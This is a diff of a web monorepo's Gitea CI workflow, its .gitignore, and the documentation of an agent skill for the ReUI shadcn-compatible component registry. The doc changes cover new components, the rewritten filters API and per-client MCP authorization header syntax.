after="${HEAD_SHA:-$(git rev-parse HEAD)}"
|
||||
before="$BEFORE_SHA"
|
||||
# Guard: a stale/unresolvable before_sha must not fail the pipeline.
|
||||
if [ -n "$before" ] && [ "$before" != "0000000000000000000000000000000000000000" ]; then
|
||||
if ! git cat-file -e "$before^{commit}" 2>/dev/null; then
|
||||
echo "::warning::before_sha $before not resolvable, falling back to HEAD~1"
|
||||
before=""
|
||||
fi
|
||||
fi
|
||||
if [ -n "$before" ]; then
|
||||
FILES="$(git diff --name-only "$before" "$after")"
|
||||
elif git rev-parse --verify HEAD~1 >/dev/null 2>&1; then
|
||||
FILES="$(git diff --name-only HEAD~1 HEAD)"
|
||||
else
|
||||
set_all_flags_true
|
||||
write_outputs
|
||||
echo "No parent commit — full pipeline (all modules)"
|
||||
exit 0
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -z "$(printf '%s' "$FILES" | tr -d '[:space:]')" ]; then
|
||||
set_all_flags_true
|
||||
write_outputs
|
||||
echo "Empty diff — full pipeline fallback"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
full_pipeline=false
|
||||
|
||||
while IFS= read -r f || [ -n "${f:-}" ]; do
|
||||
[ -z "${f:-}" ] && continue
|
||||
case "$f" in
|
||||
.gitea/workflows/*|scripts/*)
|
||||
full_pipeline=true
|
||||
;;
|
||||
docs/openapi.yaml|redocly.yaml)
|
||||
openapi=true
|
||||
;;
|
||||
.cursor/*|.claude/*|.codegraph/*|.agents/*)
|
||||
;;
|
||||
*.md|AGENTS.md)
|
||||
;;
|
||||
apps/web/README.md|apps/web/components.json|packages/ui/components.json)
|
||||
;;
|
||||
apps/web/*|packages/ui/*)
|
||||
web=true
|
||||
;;
|
||||
apps/api/*|packages/db/*)
|
||||
api=true
|
||||
;;
|
||||
packages/shared/*)
|
||||
web=true
|
||||
api=true
|
||||
;;
|
||||
deploy/compose/*|deploy/docker/*|.dockerignore)
|
||||
docker=true
|
||||
;;
|
||||
docs/*)
|
||||
;;
|
||||
package.json|pnpm-lock.yaml|pnpm-workspace.yaml|turbo.json|.releaserc.json|commitlint.config.cjs)
|
||||
full_pipeline=true
|
||||
;;
|
||||
*)
|
||||
;;
|
||||
esac
|
||||
done <<< "$FILES"
|
||||
|
||||
if $full_pipeline; then
|
||||
set_all_flags_true
|
||||
fi
|
||||
|
||||
write_outputs
|
||||
|
||||
echo "Changed files (first 30):"
|
||||
printf '%s\n' "$FILES" | head -n 30
|
||||
echo "--- flags ---"
|
||||
echo "openapi=$openapi web=$web api=$api docker=$docker full_pipeline=$full_pipeline"
|
||||
|
||||
openapi:
|
||||
needs: [changes]
|
||||
if: needs.changes.outputs.openapi == 'true' || needs.changes.outputs.web == 'true'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
|
||||
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
|
||||
with:
|
||||
node-version: "22"
|
||||
- name: Export cache paths
|
||||
run: sh scripts/ci/export-cache-env.sh
|
||||
- id: pnpm-hash
|
||||
run: echo "key=$(sha256sum pnpm-lock.yaml | awk '{print $1}')" >> "$GITHUB_OUTPUT"
|
||||
- id: pnpm-cache
|
||||
uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4.2.3
|
||||
with:
|
||||
path: |
|
||||
${{ env.PNPM_STORE_DIR }}
|
||||
${{ env.COREPACK_HOME }}
|
||||
node_modules
|
||||
apps/web/node_modules
|
||||
apps/api/node_modules
|
||||
packages/ui/node_modules
|
||||
packages/shared/node_modules
|
||||
packages/db/node_modules
|
||||
key: pnpm-${{ runner.os }}-${{ steps.pnpm-hash.outputs.key }}
|
||||
restore-keys: |
|
||||
pnpm-${{ runner.os }}-
|
||||
- name: pnpm install, Redocly
|
||||
env:
|
||||
PNPM_CACHE_HIT: ${{ steps.pnpm-cache.outputs.cache-hit }}
|
||||
run: |
|
||||
set -euxo pipefail
|
||||
sh scripts/ci/pnpm-ci.sh
|
||||
pnpm exec redocly lint docs/openapi.yaml
|
||||
|
||||
web:
|
||||
needs: [changes]
|
||||
if: needs.changes.outputs.web == 'true'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
|
||||
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
|
||||
with:
|
||||
node-version: "22"
|
||||
- name: Export cache paths
|
||||
run: sh scripts/ci/export-cache-env.sh
|
||||
- id: pnpm-hash
|
||||
run: echo "key=$(sha256sum pnpm-lock.yaml | awk '{print $1}')" >> "$GITHUB_OUTPUT"
|
||||
- id: pnpm-cache
|
||||
uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4.2.3
|
||||
with:
|
||||
path: |
|
||||
${{ env.PNPM_STORE_DIR }}
|
||||
${{ env.COREPACK_HOME }}
|
||||
node_modules
|
||||
apps/web/node_modules
|
||||
apps/api/node_modules
|
||||
packages/ui/node_modules
|
||||
packages/shared/node_modules
|
||||
packages/db/node_modules
|
||||
key: pnpm-${{ runner.os }}-${{ steps.pnpm-hash.outputs.key }}
|
||||
restore-keys: |
|
||||
pnpm-${{ runner.os }}-
|
||||
- name: pnpm install, typecheck, build
|
||||
env:
|
||||
PNPM_CACHE_HIT: ${{ steps.pnpm-cache.outputs.cache-hit }}
|
||||
run: |
|
||||
set -euxo pipefail
|
||||
sh scripts/ci/pnpm-ci.sh
|
||||
pnpm --filter @evofw/web run typecheck
|
||||
pnpm --filter @evofw/web run test
|
||||
pnpm --filter @evofw/web run build
|
||||
|
||||
api:
|
||||
needs: [changes]
|
||||
if: needs.changes.outputs.api == 'true'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
|
||||
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
|
||||
with:
|
||||
node-version: "22"
|
||||
- name: Export cache paths
|
||||
run: sh scripts/ci/export-cache-env.sh
|
||||
- id: pnpm-hash
|
||||
run: echo "key=$(sha256sum pnpm-lock.yaml | awk '{print $1}')" >> "$GITHUB_OUTPUT"
|
||||
- id: pnpm-cache
|
||||
uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4.2.3
|
||||
with:
|
||||
path: |
|
||||
${{ env.PNPM_STORE_DIR }}
|
||||
${{ env.COREPACK_HOME }}
|
||||
node_modules
|
||||
apps/web/node_modules
|
||||
apps/api/node_modules
|
||||
packages/ui/node_modules
|
||||
packages/shared/node_modules
|
||||
packages/db/node_modules
|
||||
key: pnpm-${{ runner.os }}-${{ steps.pnpm-hash.outputs.key }}
|
||||
restore-keys: |
|
||||
pnpm-${{ runner.os }}-
|
||||
- name: pnpm install, typecheck, test, build
|
||||
env:
|
||||
PNPM_CACHE_HIT: ${{ steps.pnpm-cache.outputs.cache-hit }}
|
||||
run: |
|
||||
set -euxo pipefail
|
||||
sh scripts/ci/pnpm-ci.sh
|
||||
# turbo builds @evofw/{shared,db} first — api typecheck resolves their dist types
|
||||
pnpm exec turbo run typecheck --filter=@evofw/api --filter=@evofw/db --filter=@evofw/shared
|
||||
pnpm exec turbo run test --filter=@evofw/api --filter=@evofw/shared
|
||||
pnpm exec turbo run build --filter=@evofw/api
|
||||
|
||||
commitlint:
|
||||
if: inputs.is_pull_request
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
|
||||
with:
|
||||
node-version: "22"
|
||||
- name: Export cache paths
|
||||
run: sh scripts/ci/export-cache-env.sh
|
||||
- id: pnpm-hash
|
||||
run: echo "key=$(sha256sum pnpm-lock.yaml | awk '{print $1}')" >> "$GITHUB_OUTPUT"
|
||||
- id: pnpm-cache
|
||||
uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4.2.3
|
||||
with:
|
||||
path: |
|
||||
${{ env.PNPM_STORE_DIR }}
|
||||
${{ env.COREPACK_HOME }}
|
||||
node_modules
|
||||
apps/web/node_modules
|
||||
apps/api/node_modules
|
||||
packages/ui/node_modules
|
||||
packages/shared/node_modules
|
||||
packages/db/node_modules
|
||||
key: pnpm-${{ runner.os }}-${{ steps.pnpm-hash.outputs.key }}
|
||||
restore-keys: |
|
||||
pnpm-${{ runner.os }}-
|
||||
- name: Lint commit messages
|
||||
env:
|
||||
BASE_SHA: ${{ inputs.base_sha }}
|
||||
HEAD_SHA: ${{ inputs.head_sha }}
|
||||
PNPM_CACHE_HIT: ${{ steps.pnpm-cache.outputs.cache-hit }}
|
||||
run: |
|
||||
set -euxo pipefail
|
||||
sh scripts/ci/pnpm-ci.sh
|
||||
pnpm exec commitlint --from "$BASE_SHA" --to "$HEAD_SHA"
|
||||
|
||||
docker-check:
|
||||
needs: [changes]
|
||||
if: inputs.is_pull_request && needs.changes.outputs.docker == 'true'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
|
||||
- uses: docker/setup-buildx-action@e468171a9de216ec08956ac3ada2f0791b6bd435 # v3.11.1
|
||||
with:
|
||||
name: evofw
|
||||
driver: docker-container
|
||||
cleanup: false
|
||||
- name: Log in to Gitea Registry
|
||||
if: inputs.allow_registry_login
|
||||
uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v3.4.0
|
||||
with:
|
||||
registry: git.shx.one
|
||||
username: ${{ gitea.actor }}
|
||||
password: ${{ secrets.ACTIONS_PAT }}
|
||||
- name: bake --print
|
||||
working-directory: deploy/docker
|
||||
env:
|
||||
BUILDX_BAKE_ENTITLEMENTS_FS: "0"
|
||||
BUILDX_BAKE_FILE_RELATIVE_PATHS: "1"
|
||||
run: docker buildx bake --allow=fs.read="${{ github.workspace }}" -f docker-bake.hcl --print default
|
||||
- name: bake (no push)
|
||||
if: inputs.allow_registry_login
|
||||
working-directory: deploy/docker
|
||||
env:
|
||||
BUILDX_BAKE_ENTITLEMENTS_FS: "0"
|
||||
BUILDX_BAKE_FILE_RELATIVE_PATHS: "1"
|
||||
run: |
|
||||
set -euxo pipefail
|
||||
owner_lc="$(echo '${{ github.repository_owner }}' | tr '[:upper:]' '[:lower:]')"
|
||||
export CACHE_REF_NODE="git.shx.one/${owner_lc}/evofw-buildcache:node-buildcache"
|
||||
docker buildx bake --allow=fs.read="${{ github.workspace }}" -f docker-bake.hcl default
|
||||
@@ -31,8 +31,14 @@ Thumbs.db
|
||||
|
||||
# Build
|
||||
version.txt
|
||||
.release-version
|
||||
CHANGELOG.md
|
||||
deploy/docker/docker-bake.override.hcl
|
||||
*.tsbuildinfo
|
||||
# Local MCP configs (may contain REUI license Bearer)
|
||||
.cursor/mcp.json
|
||||
.zcode/config.json
|
||||
.zcode/plans/
|
||||
.mcp.json
|
||||
.codegraph/daemon.pid
|
||||
.claude/settings.local.json
|
||||
@@ -0,0 +1 @@
|
||||
22
|
||||
@@ -1,19 +1,20 @@
|
||||
---
|
||||
name: reui
|
||||
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 20 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
||||
user-invocable: false
|
||||
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 22 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
||||
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
||||
metadata:
|
||||
user-invocable: "false"
|
||||
---
|
||||
|
||||
> **ReUI skill version `668fb463eb`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
> **ReUI skill version `d9f4a302f4`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
|
||||
# ReUI for Agents
|
||||
|
||||
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
|
||||
|
||||
- **components** - the 20 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||
- **components** - the 22 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
|
||||
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
|
||||
- **blocks** - premium full-page sections that compose components (`data-grid-base-2`, `settings-2`); Pro or Ultimate license at install
|
||||
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
|
||||
|
||||
The skill is free and this MCP is free to use; it just needs a ReUI account. On first use your agent opens a browser "Sign in with ReUI" prompt (a free account is created if you don't have one). Free covers components and examples with a daily request allowance; a Pro or Ultimate license unlocks premium blocks and Motion Icons and removes the limit (see [rules/registry.md](./rules/registry.md)). The same account and skill work in every agent and service the MCP connects to - this skill is agent-agnostic.
|
||||
@@ -58,7 +59,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
|
||||
|
||||
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
|
||||
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
|
||||
- [rules/components.md](./rules/components.md) - the 20 components, the data-grid contract, base vs radix
|
||||
- [rules/components.md](./rules/components.md) - the 22 components, the data-grid contract, base vs radix
|
||||
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
|
||||
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
|
||||
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
## Registry setup (one-time, per project)
|
||||
|
||||
Free items (the 20 components and all `c-*` examples) need only the plain string registry in `components.json`:
|
||||
Free items (the 22 components and all `c-*` examples) need only the plain string registry in `components.json`:
|
||||
|
||||
```json
|
||||
{ "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } }
|
||||
@@ -29,9 +29,16 @@ REUI_LICENSE_KEY=your-license-key
|
||||
}
|
||||
```
|
||||
|
||||
The shadcn CLI expands `${REUI_LICENSE_KEY}` from `.env.local` inside `components.json`, but an MCP client config never expands variables, so a ReUI MCP server config must carry the raw token instead (for example `reui_pat_your_token_here`).
|
||||
The shadcn CLI expands `${REUI_LICENSE_KEY}` from `.env.local` inside `components.json`. MCP client configs expand environment variables too, but each client has its OWN syntax, so wire the ReUI MCP server with the form that client understands:
|
||||
|
||||
The MCP `get_project_context` tool returns the right config. Full guide: https://reui.io/docs/registry
|
||||
- Claude Code (`.mcp.json`, `~/.claude.json`): `"Authorization": "Bearer ${REUI_LICENSE_KEY}"`
|
||||
- Cursor (`.cursor/mcp.json`) and VS Code: `"Authorization": "Bearer ${env:REUI_LICENSE_KEY}"`
|
||||
- OpenCode (`opencode.json`): `"Authorization": "Bearer {env:REUI_LICENSE_KEY}"`
|
||||
- Codex (`~/.codex/config.toml`): `bearer_token_env_var = "REUI_LICENSE_KEY"` - Codex reads the variable itself, so there is no header to write
|
||||
|
||||
Only a client with no interpolation at all needs the raw `reui_pat_...` token, and then only in a file that is never committed. Copying the `components.json` form into a client that does not expand it is the common failure: the literal `${REUI_LICENSE_KEY}` placeholder is sent to the server as the credential and every call comes back 401.
|
||||
|
||||
The MCP `get_project_context` tool returns the right config. Full guide: https://reui.io/docs/registry?ref=skill
|
||||
|
||||
## Installing
|
||||
|
||||
@@ -54,7 +61,7 @@ bunx --bun shadcn@latest add @reui/<name> --yes # bun
|
||||
|
||||
## Free vs premium boundary
|
||||
|
||||
- Public, no key: `c-*` examples and the 20 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
|
||||
- Public, no key: `c-*` examples and the 22 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
|
||||
- Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate.
|
||||
|
||||
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account (their key) or https://reui.io/pricing (upgrade).
|
||||
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account?ref=skill (their key) or https://reui.io/pricing?ref=skill (upgrade).
|
||||
@@ -1,8 +1,8 @@
|
||||
# ReUI components
|
||||
|
||||
The 20 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||
The 22 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `code-block`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||
|
||||
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
||||
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the deeper reference. Do not assume you received all of it: a very large API (`cascader`, `filters`, `data-grid`) is trimmed on heading boundaries to fit your context, and every dropped heading is named in `sectionsOmitted`, so a trimmed capsule is a partial read - follow the response's own `next` hint to pull back the part you need instead of guessing at it. `validate_usage` always checks the FULL API, trimmed capsule or not. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
||||
|
||||
## data-grid (the flagship - read its API every time)
|
||||
|
||||
@@ -106,22 +106,60 @@ Common mistakes:
|
||||
|
||||
## filters
|
||||
|
||||
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange`
|
||||
**Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
const [filters, setFilters] = useState<Filter[]>([
|
||||
createFilter("priority", "is_any_of", ["low"]),
|
||||
])
|
||||
const fields: FilterFieldConfig[] = [
|
||||
{ key: "priority", label: "Priority", type: "multiselect",
|
||||
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] },
|
||||
const fields: FilterField[] = [
|
||||
{ id: "title", label: "Title", type: "text" },
|
||||
{
|
||||
id: "status",
|
||||
label: "Status",
|
||||
type: "select",
|
||||
options: [
|
||||
{ value: "active", label: "Active" },
|
||||
{ value: "archived", label: "Archived" },
|
||||
],
|
||||
},
|
||||
]
|
||||
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
|
||||
|
||||
<Filters filters={filters} fields={fields} onChange={setFilters} />
|
||||
<Filters fields={fields} query={query} onQueryChange={setQuery} />
|
||||
```
|
||||
|
||||
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`.
|
||||
**Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
|
||||
|
||||
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
|
||||
|
||||
## cascader
|
||||
|
||||
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
<Cascader items={items} value={value} onValueChange={setValue}>
|
||||
<CascaderTrigger render={<Button variant="outline" />}>
|
||||
<CascaderValue placeholder="Select an attribute" />
|
||||
</CascaderTrigger>
|
||||
<CascaderContent className="w-80">
|
||||
<CascaderPanel>
|
||||
<CascaderNav>
|
||||
<CascaderBreadcrumb />
|
||||
<CascaderInput />
|
||||
</CascaderNav>
|
||||
<CascaderEmpty />
|
||||
<CascaderList maxHeight={288}>
|
||||
<CascaderItems />
|
||||
</CascaderList>
|
||||
<CascaderStatus />
|
||||
</CascaderPanel>
|
||||
</CascaderContent>
|
||||
</Cascader>
|
||||
```
|
||||
|
||||
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
|
||||
|
||||
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
|
||||
|
||||
## date-selector
|
||||
|
||||
@@ -324,6 +362,26 @@ const [value, setValue] = useState<DateSelectorValue | undefined>()
|
||||
|
||||
**Gotcha:** the square container an icon sits in, so every list row, feature card and empty state shares one affordance. `variant`: `outline` (default) | `elevated` (muted fill, raised ring) | `soft` (tinted nested, tone from currentColor) | `solid` (filled tone, contrasting glyph) | `frame` (double container). `soft` and `solid` retint from one text color class (they default to `text-primary`). `size`: `xs | sm | default | lg | xl` (24/32/40/48/64px tile, glyph scales 12/14/16/20/24px). `radius`: `default | full`. Do not set a `size-*` class on the child icon unless you mean to override the tile's glyph size; recolor with `className` on the tile, not the icon.
|
||||
|
||||
## code-block
|
||||
|
||||
**Required:** `code` + `language`, or pre-highlighted `lines`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
<CodeBlock code={code} language="tsx" />
|
||||
|
||||
<CodeBlock code={code} language="tsx" showLineNumbers maxLines={20}>
|
||||
<CodeBlockHeader>
|
||||
<CodeBlockTitle>use-totals.ts</CodeBlockTitle>
|
||||
<CodeBlockLanguage />
|
||||
<CodeBlockCopyButton className="ml-auto" />
|
||||
</CodeBlockHeader>
|
||||
<CodeBlockExpandButton />
|
||||
</CodeBlock>
|
||||
```
|
||||
|
||||
**Gotcha:** the one-liner is already a complete block; every child (header, title, language label, copy button, wrap toggle, expand button, line actions) is optional chrome, at any depth. Shiki is the only npm dependency and loads lazily, one chunk per language, on first highlight; `lines` (from `highlightCode` in `code-block-highlight`, which is server-safe and has no `"use client"`) or `highlight={false}` loads nothing at all. `maxLines` caps the height AND marks the block collapsible, which is what makes `CodeBlockExpandButton` appear. Use `variant="ghost"` when the block sits inside a surface that already has a border.
|
||||
|
||||
## alert
|
||||
|
||||
**Required:** `Alert` > `AlertTitle`
|
||||
|
||||
@@ -27,7 +27,7 @@ npx shadcn@latest add @reui/icons/default/<style>/<name> --yes # static
|
||||
npx shadcn@latest add @reui/icons/animated/<style>/<name> --yes # hover-animated (motion/react)
|
||||
```
|
||||
|
||||
Finding them via the MCP is free; installing requires an Ultimate license (`REUI_LICENSE_KEY`, see [cli.md](./cli.md)). Reach for a Motion Icon on a primary action when a subtle hover cue helps; keep motion restrained.
|
||||
Motion Icons need an Ultimate license for **both discovery and install** (`REUI_LICENSE_KEY`, see [cli.md](./cli.md)). Without it `search_icons` comes back `locked` with no results and `search` returns no icons at all, so check the plan before you promise the user icons: on a free or Pro account, use the project's own `iconLibrary` instead. Reach for a Motion Icon on a primary action when a subtle hover cue helps; keep motion restrained.
|
||||
|
||||
Finding icons:
|
||||
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild.
|
||||
|
||||
- **component** - one of the 20 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
|
||||
- **component** - one of the 22 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
|
||||
- **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`.
|
||||
- **block** - a premium, full-page section that composes several components (`data-grid-2`, `pricing-page-1`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
|
||||
- **block** - a premium, full-page section that composes several components (`data-grid-base-2`, `settings-2`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
|
||||
- **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md).
|
||||
|
||||
## The @reui registry
|
||||
@@ -27,7 +27,7 @@ Blocks adapt to your active theme through semantic tokens and CSS variables - ch
|
||||
|
||||
## Free vs premium
|
||||
|
||||
- **Free, no key:** the 20 components, all `c-*` examples, the ReUI MCP, and this skill.
|
||||
- **Free, no license key:** the 22 components, all `c-*` examples, and this skill. The MCP is free too but still needs a free ReUI account (the agent signs in on first use); a license key is only for premium installs.
|
||||
- **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)).
|
||||
|
||||
## Component API index
|
||||
|
||||
@@ -4,11 +4,11 @@ The core ReUI loop. The MCP tells you what to install and gives you the API; the
|
||||
|
||||
## 1. Find (ReUI MCP `search` / `compose_page`)
|
||||
|
||||
